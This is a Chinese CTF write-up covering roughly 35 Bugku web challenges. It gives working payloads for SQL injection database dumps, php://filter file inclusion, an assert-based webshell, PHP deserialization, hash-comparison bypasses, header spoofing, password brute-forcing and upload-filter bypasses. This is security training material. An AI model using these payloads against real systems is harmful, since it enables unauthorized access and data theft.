1.web2

打开网页:

哈哈,其实按下F12你就会发现flag。

2.计算器

打开网页,只是让你输入计算结果,但是发现只能输入一个数字,这时按下F12,修改一下参数,使之可以输入多个数字,修改后输入结果就拿到flag了。

3.web基础$_GET 30

打开网页,审计一下大概是要让其得到一个what=flag,于是在URL后面加上?what=flag,就得到flag了。

4.web基础$_POST 30

打开网页,审计一下大概是要让你上传一个what=flag,用hackbar来post一下就行了。

5.矛盾

审计代码,发现大概是要得到num=1,但是num又不是数字。这样就要想办法了,?num=1e0.11,传递一下就行了。(让num是1但又不是数字)

6.web3

打开网页,查看源代码,发现最后有一串HTML编码,解码就行了。

7.域名解析

Linux、Windows都可以,找到Windows为 c:\windows\system32\drivers\etc\hosts ,linux下为etc/hosts,修改如下:

保存后访问 flag.baidu.com ,就拿到flag了。

8.你必须让他停下

先来一个不建议用单页能得出flag的方法。

打开网页发现一直在不断跳转,猜想可能源码中有这样的语句使其一直跳转,于是查看源代码,果然发现一段代码:

于是想到修改一下页面代码,F12,找到对应部分,将

window.location.reload(); 删去,由于页面是不断跳转的,也许你修改的源码真是flag所在网页的源码,那你就能直接在flag is here,这里看到flag。

但是还是不建议这样做,正确的做法应该是:

用bp抓包,送到repeater里,一帧一帧的go,就是一直点go,就能拿到flag了。

9.本地包含

审计一下代码,大概意思就是接受一个hello的值赋给a,然后再输出a,上面有提示flag.php,可能flag在这个文件中。

这个时候需要传递一个hello,且将文件中文本赋给hello,用到一个PHP函数:file_get_contents(),将URL改成:

http://123.206.87.240:8003/?hello=file_get_contents('flag.php'),

然后再查看源码,flag就被输出了。

10.变量1

这个题好几个网站上都有,下面是我找到的解法:

首先观察程序,很明显看到了$$args,考虑到此题可能考GLOBALS变量,直接构造如下赋值即可:

http://120.24.86.145:8004/index1.php?args=GLOBALS

得到flag

11.web5

查看源码,发现有好长一串不一样的有符号组成的东西,这是一个js的编码,粘贴到控制台中,回车就行了。

12.头等舱

打开什么也没有,源码也什么也没有,于是用bp抓包,送到repeaterli,go一下,看到了flag。

13.网站被黑

题上写到:这个题没技术含量但是实战中经常遇到

源码什么的也没发现什么,于是用御剑扫描一下,发现一个shell.php,打开这个网页,准备好抓包,随便输入一个密码,比如admin,回车,这是就抓到包了(一定是在提交时抓包)。

送到intruder中进行密码爆破:

开始破解,完成后发现

所以密码是:hack

输入后就拿到flag了。

14.管理员系统

打开链接发现是要登陆,(这里sql注入不行),自己随便输入用户名密码,会有这样的提示:

 “本地管理员”......“本地”......

  得到新思路:伪装成本地访问:

  抓包

  改包:Headers中增添一对键值对:  X-Forwarded-For : 127.0.0.1

F12发现有一串base64码,解码为test123,猜想是密码,输入用户名和密码,用bp抓包,再改包,送包就会发现flag了。

15.web4

看看源代码有escape编码,unescape一下得到代码,可以看到:

if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;

输入67d709b2b54aa2aa648cf6e87a7114f1提交就拿到flag了。

16.flag在index里

老司机看到文件在index(php文件)中,估计很快能拿到flag。

这里用到一个读取php文件源码的方法,是文件包含漏洞(本地文件包含(Local File Include),简称 LFI。),先说解决方法再解释。(file关键字是提示,其实也是CTF的套路)

构造URL:http://123.206.87.240:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php

然后来解释php://filter/read/convert.base64-encode/resource=index.php

首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。这样就能读取文件源码并以base64的 方式输出。

将base64码解码就拿到flag了。

17.输入密码查看flag

打开网页,由URL想到爆破,于是随便输入5个数字,用bp抓包,送到intruder中破解,

在Positions中点击clear清除burp认为需要猜测的密码,然后选中12345(也就是我们刚才输入的密码,点击add)

然后设置线程,电脑差不多的就直接设置为100(不设置能慢死)

输入就有flag了。

18.点击一百万次

要点击一百万次啊。。。

肯定不是一个个点出来的。查看源码,于是看到

大概就是clicks>=1000000时,输出flag,既然他想要个clicks,我们就给他传个,用hackbar去post:clicks=1000001(可以更大),就拿到flag了。

19.备份是个好习惯

备份是个好习惯,试了很多方法,不行,于是百度,得到是让寻找备份文件的。

小知识:

1.  备份文件一般情况是在后缀名后加的*.swp,*.bak

2. http://120.24.86.145:8002/web16/ 默认访问的是该路径的index.php文件

于是将URL改成123.206.87.240:8002/web16/index.php.bak,回车,下载到一个php文件,里面是这样的代码:

<?php
/*** Created by PhpStorm.* User: Norse* Date: 2017/8/6* Time: 20:22
*/include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){echo $flag."取得flag";
}
?>

整段代码的意思是将get的两个参数中的key替换为空(这里可以用kekeyy绕过),然后对key1,key2的值进行md5加密,并进行比较,

如果md5加密的值一样而未加密的值不同,就输出flag.

可以用两个数组进行绕过?kkeyey1[]=1&kkeyey2[]=2

或是使用哈希值为0E开头的字符串,常见的字符串有这几种

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

这是两种绕过方法。

http://123.206.87.240:8002/web16/index.php?kekeyy1[]=1&kekeyy2[]=2

如此就能绕过并拿到flag了。

20.成绩单

输入1,2,3都能查询到学生的成绩,下面尝试:

输入1',返回异常;输入1'--+,返回异常;输入1'#,返回正常。说明--+被过滤了,用#可以正常注释。

然后猜字段,根据页面有名字,三个成绩,可能是四个字段,于是1' order by 4#,无异常,而1' order by 5#返回异常,说明有四个字段。

接着开始注入,暴库:(1) 0'  union select 1,2,3,database()#  得到数据库名:skctf_flag

(2)暴表:0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'#

得到表表名:fl4g 与 sc,flag应该在fl4g里

(3)爆字段:0' union select 1,2,3,group_concat(column_name) from information_columns where table_name='fl4g'#

得到字段名:skctf_flag

(4)0' union select 1,2,3,skctf_flag from fl4g#

拿到flag。

21.秋名山老司机

这个用py在网上找了wp去模仿,但是总是错误,先不写。

22.速度要快

查看源码:

</br>我感觉你得快点!!!<!-- OK ,now you have to post the margin what you find -->

意思就是让我们上传一个我们得到的margin,用bp抓包,在repeater中go会发现在response中有flag,但是多go几次发现flag会变化,而且flag看着像是base64编码,于是解码试试,还真能解出来,但是肯定不对,因为既让每次的flag都不一样,那么一次解出来的肯定不对,于是想到写个脚本来读取headers中的flag再解码后post来尝试。

脚本如下:

import requests
import base64
import re
url='http://123.206.87.240:8002/web6/'
r=requests.session()
s=r.get(url)
flag=s.headers['flag']
mid=base64.b64decode(flag)
mid=mid.decode()
flag=base64.b64decode(mid.split(':')[1])
data={'margin':flag}
print (r.post(url,data=data).text)

23.cookies欺骗

打开网页,一串毫无作用的字符串,不用管,看url发现,好像有base64编码,而且有line且没有值。

将base64解码,发现是文件名keys.txt(猜想可能flag在这个文件里),这里我们试试index.php,于是将index.php用base64加密,放在原来文件名的地方,且将line后面加上值,会发现页面有回显,改变line的值其显示的东西不一样,由于一个个改太麻烦,写个脚本看看究竟显示的是什么:

import requests
for i in range(30):url='http://123.206.87.240:8002/web11/index.php?line='+str(i)+'&filename=aW5kZXgucGhw'r=requests.get(url)print(r.text)

然后得到下面的php程序:

<?phperror_reporting(0);$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");$line=isset($_GET['line'])?intval($_GET['line']):0;if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");$file_list = array('0' =>'keys.txt','1' =>'index.php',);if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){//重点看这里$file_list[2]='keys.php';}if(in_array($file, $file_list)){$fa = file($file);echo $fa[$line];}?>

由于题上也说了是cookies欺骗,于是我们着重看cookies这一段,发现可能目的是让margin元素的值等于margin,于是打开hackbar,用最开始的网页(原始网页文件是keys.txt,我们也猜测flag在这里面)使cookies为margin=margin

执行后查看源码就找到flag了。(或者用bp抓包改包)

24.never give up

查看源码,发现:

<!--1p.html-->

于是访问view-source:http://123.206.87.240:8006/test/1p.html

发现base64解码,解码发现是url编码,在解码,出现如下代码:

";if(!$_GET['id'])
{header('Location: hello.php?id=1');exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{echo 'no no no no no no no';return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{require("f4l2a3g.txt");
}
else
{print "never never never give up !!!";
}?>

然而这一大堆有用的不多,根据观察flag好像在f4l2a3g.txt中,于是访问view-source:http://123.206.87.240:8006/test/f4l2a3g.txt

拿到flag。

25.welcome to bugkuctf

小白一个,模仿大佬的做法。

首先查看源码,

<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];  if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  echo "hello admin!<br>";  include($file); //hint.php
}else{  echo "you are not admin ! ";
}  -->  

意思就是user接收到的txt的值为welcome to the bugkuctf,之后会执行if中的语句,而且会包含一个文件,根据提示这个文件就是hint.php了,这里用到两个php的协议,向php传递txt和file的值的时候,用到:php://input  和  php://filter.

用hackbar传递:

会出现一段base64码,拿去解码,得到一段代码(hint.php文件的代码):

<?php    class Flag{//flag.php    public $file;    public function __tostring(){    if(isset($this->file)){    echo file_get_contents($this->file);   echo "<br>";  return ("good");  }    }
}
?>    

到这里好像卡住了,于是再利用上面的php://filter协议查看index.php的代码:

<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];  if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  echo "hello friend!<br>";  if(preg_match("/flag/",$file)){ echo "不能现在就给你flag哦";exit();  }else{  include($file);   $password = unserialize($password);  echo $password;  }
}else{  echo "you are not the number of bugku ! ";
}  ?>  <!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];  if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  echo "hello admin!<br>";  include($file); //hint.php
}else{  echo "you are not admin ! ";
}  -->  

结合着两段代码,发现,flag应该在flag.php中,但是我们如果传递flag.php,会被preg_match()正则匹配到,所以重点就在password那一段,但是这里有一个password的反序列化,就是说我们不能被正则匹配到,而且我们传递的password还是要被序列化过的。

于是我们用一段php代码:

<?php
class Flag{//flag.php  public $file;  public function __tostring(){  if(isset($this->file)){  echo file_get_contents($this->file); echo "<br>";return ("good");}  }
}  $a=new Flag();
$a->file="flag.php";
$a=serialize($a);
print($a);
?>

得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

然后将得到的结果传给password:

查看源码就得到flag了。

解释一下为什么要这么做:从上面的password那一段,我们需要将password序列化,而且我们的目标是输出flag,即输出flag.php的内容,所以我们根据hint.php(能将文件内容输出)创建一个Flag类$a,然后将flag.php赋值给该类中的file变量,此时对于a来说,a所包含的就是Flag类中的内容(其中有echo file_get_contents($this->file);),所以当我们将啊序列化后传递然后由password接收再反序列化,此时的password就是我们代码中的a,我们输出password的时候就等于输出了一个对象,其内容都会被执行(其中有echo file_get_contents($this->file);),所以这样就能输出flag了。

26.过狗一句话

观察提示:

<?php
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s']);
?>

就是说将poc以#为分隔符截开赋给poc_1,再将poc_1数组中的元素连接赋给poc_2,完成后poc_2就是assert,所以最后一句就是assert($_GET['s']),所以就是执行$_GET['s']。

这个题需要扫描一下当前目录下的文件,用到scandir(),构造payload:http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))

print_r输出数组,scandir扫描当前文件夹并以数组形式返回

于是用url:http://123.206.87.240:8010/f14g.txt

就拿到flag了。

27.字符?正则?

打开网页,代码的意思就是我们要传递一个id使其满足正则表达式。

"/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i"

对应这个正则表达式来写id的值,参考下面的符号:

1.表达式直接写出来的字符串直接利用,如key
2.“.”代表任意字符
3.“*”代表一个或一序列字符重复出现的次数,即前一个字符重复任意次
4.“\/”代表“/”
5.[a-z]代表a-z中的任意一个字符
6.[[:punct:]]匹配其中一个字符: !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~.
7./i代表大小写不敏感
8.{4-7}代表[0-9]中数字连续出现的次数是4-7次
于是构造一个payload(不唯一):http://123.206.87.240:8002/web10/?id=key2key22222key:/f/keyz;

就能拿到flag了。

28.前女友(SKCTF)

查看源代码,有个code.txt,打开看看什么意思:

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];$v3 = $_GET['v3'];if($v1 != $v2 && md5($v1) == md5($v2)){if(!strcmp($v3, $flag)){echo $flag;}}
}
?>

意思是:传递v1,v2,v3的值,而且v1,v2的md5加密值相同(可以用数组绕过,MD5处理数组返回null),然后v3的值要和flag的值相等(利用strcmp()函数的漏洞)

构造payload:http://123.206.31.85:49162/?v1[]=1&v2[]=2&v3[]=5

就拿到flag了。

29.login1(SKCTF)

自己注册一个尝试登陆:

题目有hint:SQL约束攻击

于是用得到SQL约束攻击,关于SQL约束攻击,参考:传送门

(其实基本原理就是sql查找时会过滤掉空格,我们注册时用一直账号加上空格为用户名,然后就能用我们这个登陆过滤掉空格后的真实账号才能登陆的系统)

当我们尝试用admin注册时,提示已经被注册,那这个可能就是管理员账号了。

根据SQL约束攻击原理,我们这样注册:

用户名:admin                      (admin后面有很多空格)

密码按照要求随便设。

再用注册成功的账号登陆就拿到flag了。

30.你从哪里来

打开网页出现:are you from google?

貌似是让用Google进入,然而并不行,其实是将referer设为https://www.google.com

就拿到flag了。

31.md5 collision(NUPT_CTF)

题目是MD5碰撞,而且页面显示input a,于是我们将用来碰撞的MD5值用a传过去:

http://123.206.87.240:9009/md5.php?a=s878926199a

常用的碰撞的MD5:

0e开头的md5和原值:s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

32.程序员本地网站

打开并发现不了什么,由本地想到构造X-Forwarded-For头

33.各种绕过

<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {if ($_GET['uname'] == $_POST['passwd'])print 'passwd can not be uname.';else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))die('Flag: '.$flag);elseprint 'sorry!';} 

审计代码,发现需要的条件:sha1($_GET['uname']) === sha1($_POST['passwd'])&和($_GET['id']=='margin')

所以

就能 拿到flag了。

34.web8

这个题找到了两种方法:

方法一:

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

审计发现需要让$ac === $f,那我们就传递ac和fn,并且让传递过去的值相等,由于fn为文件,这里用php://input传递:

就能拿到flag了。

方法2:

题目提示为txt????

审计代码,fn为文件,所以可能有个flag.txt,也就是fn文件,

访问http://123.206.87.240:8002/web8/flag.txt

看到flag.txt文件的内容为flags,根据方法1的分析,所以我们的这样构造payload:http://123.206.87.240:8002/web8/?ac=flags&fn=flag.txt

就拿到flag了

35.细心

开始很蒙圈,看了大佬的wp才会。

需要访问robots.txt,(一般网页都有这个文件)

访问发现了resusl.php,于是再访问resusl.php,出现

这有代码,再结合题目说变成admin,于是传递x=admin就拿到flag了。

36.求getshell

上传一个png文件发现提示My name is margin,give me a image file not a php

然后也尝试上传php文件,但是依然不行,这里显然对文件类型和后缀进行了检测,

这里用到的是:后缀黑名单检测和类型检测

于是我们利用文件类型的大小写来绕过,并尝试修改后缀,在分别将后缀名修改为php2, php3, php4, php5, phps, pht, phtm, phtml(php的别名),发现只有php5没有被过滤

Bugku web(1—35)相关推荐

  1. Bugku Web CTF-江湖魔头1

    Bugku Web CTF-江湖魔头1 这道题比较有意思,简陋的武侠游戏,打开一看大致了解其功能: (1)基础属性可随机 (2)一共有血量.外功.内功等属性,还有金钱,金钱可用来在商店购买秘籍 (3) ...

  2. [Bugku][Web][CTF] 9-15 write up

    [说明] 整合资源 简略版本2020Bugku write up Bugku Web第九题 关键字 :/?args=GLOBALS PHP 将所有全局变量存储在一个名为 $GLOBALS[index] ...

  3. Bugku Web CTF-江湖魔头2

    Bugku Web CTF-江湖魔头2 (接1) 然而在最初的尝试中却发现,当我填入修改好的cookie时,刷新页面属性值都为空(是为空而不是显示0),于是考虑是否因为逆运算哪里出现了问题. 仔细查看 ...

  4. Bugku web 聪明的php

    Bugku web 聪明的php 模板注入 打开题目 模板注入 打开题目 得到提示,传递参数 随机传一个参数,得到源码 在这地方卡了挺久的,发现smarty是个模板,测试一下是不是模板注入 确实为sm ...

  5. BugKu——Web——社工-初步收集

    BugKu--Web--社工-初步收集 一.解题思路 这里可以下载辅助,下载下来的是一个压缩包,不过会被当做病毒处理,设置成信任的即可,解压出来是个*.exe双击启动即可 随便输一个QQ和密码 回显都 ...

  6. bugku web篇

    web2 f12查看源代码在注释语句里面 计算器 直接求给的题目 但是对input的最大输入个数做了限制可以直接f12改限制字数也可以bp抓包修改 web基础$_GET $what=$_GET['wh ...

  7. Bugku—web题解

    前言:最近做了一些Bugku入门的web题目,感觉web题挺有趣的,并非是得出flag,而是可以通过一个题目学习到很多知识. 域名解析 题目说把 flag.baidu.com 解析到123.206.8 ...

  8. Bugku—web(一)

    前言: 最近做了几个bugku的web题,感觉挺有意思的,学到了不少东西:顺便总结下.(= ̄ω ̄=) 1.你必须让他停下: 打开链接,发现有个一直在闪的页面,时不时还会出现张图片:这是用了 js的se ...

  9. [Bugku][Web][CTF] 30-33 write up

    [说明] 整合资源 简略版本2020Bugku write up web30 关键字: txt or file_get_contents(fn)知识点:filegetcontents(fn) 知识点: ...

最新文章

  1. 配置腾讯云服务器-2021-3-27
  2. python3视频教程-python3入门视频教程
  3. Java正则表达式代码案例
  4. Istio 1.10 发布及官网改版
  5. Docker最全教程之使用 Visual Studio Code玩转Docker(二十一)
  6. 基于光线追踪的渲染中景深(Depth of field)效果的实现
  7. Elasticsearch单机安装
  8. 存储相关知识-DAS/SAN/NAS
  9. sql提取字符串中的一部分数据_学会这三招提取字符串中的数字不用愁
  10. vue结合element实现自定义上传图片、文件
  11. Hash冲突的解决方式
  12. 固态硬盘是什么接口_【扫盲贴】SSD固态硬盘硬盘接口大全,你值得拥有!
  13. Linux系统10个开源漏洞检测工具
  14. hyper-v开启与关闭
  15. 计算机科学类专升本复习之“C语言结构体”详解(初稿)
  16. office2016安装后右键新建没有word、excel、ppt等解决方法
  17. Mixly----利用超声波传感器控制LED灯
  18. 【SAP消息号KI344】
  19. C#与SQl数据的对应关系(tinyint、smallint、int、bigint)
  20. 【Multisim仿真】CD4017+555流水灯

热门文章

  1. 简明GISer Python学习指南
  2. 在 JavaScript 中 0 与 1 和 true 与 false 的关系
  3. windows10怎么配置二个或多个JDK版本_详细图解
  4. windows编写linux脚本,适用于 Windows 和 Linux 的脚本编写工具包
  5. 委托实现信用卡用户定时还款功能
  6. matlab surf 坐标设置,matlab中3D曲面函数surf的坐标问题
  7. 【计算机网络】Quiz
  8. 70.JAVA编程思想——Web应用
  9. java二分搜查法的原理_知到答案大全Java核心技术(进阶)2021章节测试答案
  10. 面向对象三大特性及关键字